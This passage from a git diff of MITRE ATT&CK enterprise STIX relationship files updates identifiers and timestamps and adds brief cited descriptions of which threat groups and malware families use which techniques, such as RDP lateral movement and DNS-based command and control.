             "source_ref": "course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf",
             "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
diff --git a/enterprise-attack/relationship/relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58.json b/enterprise-attack/relationship/relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58.json
index 96923f46c0..31cc20f6e8 100644
--- a/enterprise-attack/relationship/relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58.json
+++ b/enterprise-attack/relationship/relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5c44702-6b8e-4d09-80a1-2a7a197e7490",
+    "id": "bundle--1e241067-395e-4749-92f7-084986025a8f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--a317b097-b819-441b-b344-9f129ba6cb40.json b/enterprise-attack/relationship/relationship--a317b097-b819-441b-b344-9f129ba6cb40.json
index afd6d8ec38..f6509cbf7c 100644
--- a/enterprise-attack/relationship/relationship--a317b097-b819-441b-b344-9f129ba6cb40.json
+++ b/enterprise-attack/relationship/relationship--a317b097-b819-441b-b344-9f129ba6cb40.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a7024b7-26b1-48a0-af81-3ea97b3a759c",
+    "id": "bundle--b95a7482-09ed-44e1-9018-0f5553360749",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a317b097-b819-441b-b344-9f129ba6cb40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used RDP to move laterally in victim networks.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569.json b/enterprise-attack/relationship/relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569.json
index cc13f71811..3b223f610a 100644
--- a/enterprise-attack/relationship/relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569.json
+++ b/enterprise-attack/relationship/relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6f23929f-0b85-4a15-b1f9-d47c61e674c1",
+    "id": "bundle--267eb79c-c4f5-4acd-9eac-b00bcb9fce7e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser is capable of listing files, folders, and drives on a victim.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--a33388b7-3803-442f-8e31-511eef055470.json b/enterprise-attack/relationship/relationship--a33388b7-3803-442f-8e31-511eef055470.json
index 105540891f..43119a8e89 100644
--- a/enterprise-attack/relationship/relationship--a33388b7-3803-442f-8e31-511eef055470.json
+++ b/enterprise-attack/relationship/relationship--a33388b7-3803-442f-8e31-511eef055470.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bea1c324-a8d5-4de7-baac-09f769b9420c",
+    "id": "bundle--7cd12a5f-3c55-4e55-a288-7bd75b8824f5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a33388b7-3803-442f-8e31-511eef055470",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
diff --git a/enterprise-attack/relationship/relationship--a33c172b-9910-4f36-8373-32126201144b.json b/enterprise-attack/relationship/relationship--a33c172b-9910-4f36-8373-32126201144b.json
index 57de7565bd..0698dbd620 100644
--- a/enterprise-attack/relationship/relationship--a33c172b-9910-4f36-8373-32126201144b.json
+++ b/enterprise-attack/relationship/relationship--a33c172b-9910-4f36-8373-32126201144b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--75b54451-474d-4e38-8528-748bde728581",
+    "id": "bundle--dd916044-3197-47ad-bddc-0c97740fb08d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a33c172b-9910-4f36-8373-32126201144b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type may create a file containing the results of the command <code>cmd.exe /c net user {Username}</code>.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--a34d1e30-dcf5-4743-93e5-e4834e980f0f.json b/enterprise-attack/relationship/relationship--a34d1e30-dcf5-4743-93e5-e4834e980f0f.json
index 6f5082465f..10485aaca7 100644
--- a/enterprise-attack/relationship/relationship--a34d1e30-dcf5-4743-93e5-e4834e980f0f.json
+++ b/enterprise-attack/relationship/relationship--a34d1e30-dcf5-4743-93e5-e4834e980f0f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--921e7040-9a2a-408e-91c0-6f98dd1fe161",
+    "id": "bundle--155bf60a-8d40-4824-83a0-b314ad47d15d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a34d1e30-dcf5-4743-93e5-e4834e980f0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95",
             "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
diff --git a/enterprise-attack/relationship/relationship--a36263d1-d109-4c94-930a-6be1e9615527.json b/enterprise-attack/relationship/relationship--a36263d1-d109-4c94-930a-6be1e9615527.json
index ba18da99ac..4cc1990701 100644
--- a/enterprise-attack/relationship/relationship--a36263d1-d109-4c94-930a-6be1e9615527.json
+++ b/enterprise-attack/relationship/relationship--a36263d1-d109-4c94-930a-6be1e9615527.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f7c32109-497b-4ebe-b299-29617fbce139",
+    "id": "bundle--98c911f5-06e8-4c6c-9fea-11574dea22a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a36263d1-d109-4c94-930a-6be1e9615527",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8.json b/enterprise-attack/relationship/relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8.json
index a439252172..4f2d6b9dba 100644
--- a/enterprise-attack/relationship/relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8.json
+++ b/enterprise-attack/relationship/relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5414d07-ec8b-4968-8dd6-9e084df4fe57",
+    "id": "bundle--d213ea7a-943b-467e-a21f-3cbe57e8f9e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f",
             "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
diff --git a/enterprise-attack/relationship/relationship--a39bc982-3934-4ec7-ba33-0de9331d55f5.json b/enterprise-attack/relationship/relationship--a39bc982-3934-4ec7-ba33-0de9331d55f5.json
new file mode 100644
index 0000000000..dfece75ba5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a39bc982-3934-4ec7-ba33-0de9331d55f5.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3c0cdf1f-ee59-4389-b213-2979b0710416",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a39bc982-3934-4ec7-ba33-0de9331d55f5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used .bat and .vbs scripts for execution.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a3de3705-8085-4992-9b90-1cb8ef532b5c.json b/enterprise-attack/relationship/relationship--a3de3705-8085-4992-9b90-1cb8ef532b5c.json
index b49b2369c2..c78f4d6eac 100644
--- a/enterprise-attack/relationship/relationship--a3de3705-8085-4992-9b90-1cb8ef532b5c.json
+++ b/enterprise-attack/relationship/relationship--a3de3705-8085-4992-9b90-1cb8ef532b5c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--60c151ca-196f-4209-b65a-d01dd8ff62af",
+    "id": "bundle--b3d2b8f7-2ab1-474d-af04-d8b3b7fe9e30",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a3de3705-8085-4992-9b90-1cb8ef532b5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has queried information on machines to determine the current user or system owner .",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72.json b/enterprise-attack/relationship/relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72.json
index f59a80787c..448afa89d2 100644
--- a/enterprise-attack/relationship/relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72.json
+++ b/enterprise-attack/relationship/relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65a46ec1-6b0d-473b-a9b6-4ac68e50cf4b",
+    "id": "bundle--373af12e-7194-40a6-9b04-3a12af99d81b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HAMMERTOSS is known to use PowerShell.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
diff --git a/enterprise-attack/relationship/relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8.json b/enterprise-attack/relationship/relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8.json
index bf2ead678f..0d793e5ffa 100644
--- a/enterprise-attack/relationship/relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8.json
+++ b/enterprise-attack/relationship/relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa9373ef-d7ec-40e6-8d67-fbed7b4b346d",
+    "id": "bundle--806c7040-af9d-434a-b65d-349935f8c330",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. Sakula also has the capability to invoke a reverse shell.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--a403648d-4c23-46bd-9688-1face1407b42.json b/enterprise-attack/relationship/relationship--a403648d-4c23-46bd-9688-1face1407b42.json
index 470d24327c..64cb7e58c8 100644
--- a/enterprise-attack/relationship/relationship--a403648d-4c23-46bd-9688-1face1407b42.json
+++ b/enterprise-attack/relationship/relationship--a403648d-4c23-46bd-9688-1face1407b42.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c1400da3-23b1-4b99-960f-d125cb609a4e",
+    "id": "bundle--91c4bb42-490b-4039-926c-1d4826b43de7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a403648d-4c23-46bd-9688-1face1407b42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE communicates via DNS for C2.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
diff --git a/enterprise-attack/relationship/relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91.json b/enterprise-attack/relationship/relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91.json
index 25f5533790..4942b61fc0 100644
--- a/enterprise-attack/relationship/relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91.json
+++ b/enterprise-attack/relationship/relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1e3bafdb-0462-4f5b-a993-36294fcd1045",
+    "id": "bundle--00a95663-1915-4e48-aaaf-b8e8751b95af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "target_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
diff --git a/enterprise-attack/relationship/relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6.json b/enterprise-attack/relationship/relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6.json
index 13c430e36e..4f33e8b109 100644
--- a/enterprise-attack/relationship/relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6.json
+++ b/enterprise-attack/relationship/relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ed925a9c-ea02-48c4-b631-a7ec1c8995b2",
+    "id": "bundle--545213d7-2a92-4811-a621-51857e5567f3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel is capable of probing the network for open ports.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2.json b/enterprise-attack/relationship/relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2.json
index 6d5d043c67..1fa16b6035 100644
--- a/enterprise-attack/relationship/relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2.json
+++ b/enterprise-attack/relationship/relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--48b07367-008c-4531-958a-f362754e572c",
+    "id": "bundle--81864e71-b93e-40ab-9d3f-beb8c0f24c8b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An executable dropped onto victims by Putter Panda aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
diff --git a/enterprise-attack/relationship/relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d.json b/enterprise-attack/relationship/relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d.json
index df1a63fd63..f0344224c9 100644
--- a/enterprise-attack/relationship/relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d.json
+++ b/enterprise-attack/relationship/relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b73314df-b3e4-42c2-bff2-3ec461ebf770",
+    "id": "bundle--e672c0aa-715f-4420-b611-37486f565f8e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "httpclient uses HTTP for command and control.",
             "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
diff --git a/enterprise-attack/relationship/relationship--a48d44d2-a84c-45dc-9a59-2bc21f2f2301.json b/enterprise-attack/relationship/relationship--a48d44d2-a84c-45dc-9a59-2bc21f2f2301.json
index e931596acc..4814498790 100644
--- a/enterprise-attack/relationship/relationship--a48d44d2-a84c-45dc-9a59-2bc21f2f2301.json
+++ b/enterprise-attack/relationship/relationship--a48d44d2-a84c-45dc-9a59-2bc21f2f2301.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb665d76-a3d9-43f6-84eb-09858a13cc34",
+    "id": "bundle--d0d43f82-2607-44e5-aa44-83899eeccec3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a48d44d2-a84c-45dc-9a59-2bc21f2f2301",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0",
             "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
diff --git a/enterprise-attack/relationship/relationship--a48e7d01-012a-4336-9676-0f34e8501e22.json b/enterprise-attack/relationship/relationship--a48e7d01-012a-4336-9676-0f34e8501e22.json
index 54ae43de4d..9214fd2865 100644
--- a/enterprise-attack/relationship/relationship--a48e7d01-012a-4336-9676-0f34e8501e22.json
+++ b/enterprise-attack/relationship/relationship--a48e7d01-012a-4336-9676-0f34e8501e22.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3185e07b-ed02-4f68-97e9-2aed85bd4bcc",
+    "id": "bundle--0f96bca0-c9b3-42fe-bf9a-70ad77c4d81a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a48e7d01-012a-4336-9676-0f34e8501e22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has used RDP to move laterally to systems in the victim environment.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522.json b/enterprise-attack/relationship/relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522.json
new file mode 100644
index 0000000000..fc11e1bfeb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4999fdd9-e5cd-46f0-8bf7-eaa49f1eed6f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  use SSL to encrypt C2 communications.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe.json b/enterprise-attack/relationship/relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe.json
new file mode 100644
index 0000000000..92dc27b795
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d2734cb6-c872-49cb-af7e-52507b627b78",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The CozyCar dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.",
+            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "external_references": [
+                {
+                    "source_name": "F-Secure CozyDuke",
+                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
+                    "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a4c59c09-2abd-4c49-8156-0ccc9214b66e.json b/enterprise-attack/relationship/relationship--a4c59c09-2abd-4c49-8156-0ccc9214b66e.json
new file mode 100644
index 0000000000..d0aab7b14a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a4c59c09-2abd-4c49-8156-0ccc9214b66e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--70218f96-6301-488e-93a2-c23a187c5be9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a4c59c09-2abd-4c49-8156-0ccc9214b66e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can list running processes.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a5015a35-a6a2-4289-8d79-79b583c23e63.json b/enterprise-attack/relationship/relationship--a5015a35-a6a2-4289-8d79-79b583c23e63.json
index 59b154963b..a3291b3122 100644
--- a/enterprise-attack/relationship/relationship--a5015a35-a6a2-4289-8d79-79b583c23e63.json
+++ b/enterprise-attack/relationship/relationship--a5015a35-a6a2-4289-8d79-79b583c23e63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5ba04e1b-a587-4d7d-b0ac-98b8ba10bd38",
+    "id": "bundle--a3d6742d-0c25-4c9d-ad90-d2ea9ab3d46f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a5015a35-a6a2-4289-8d79-79b583c23e63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--a564f3da-349a-4e65-826c-8ca60bc920bf.json b/enterprise-attack/relationship/relationship--a564f3da-349a-4e65-826c-8ca60bc920bf.json
index f6388d5006..5ef886133e 100644
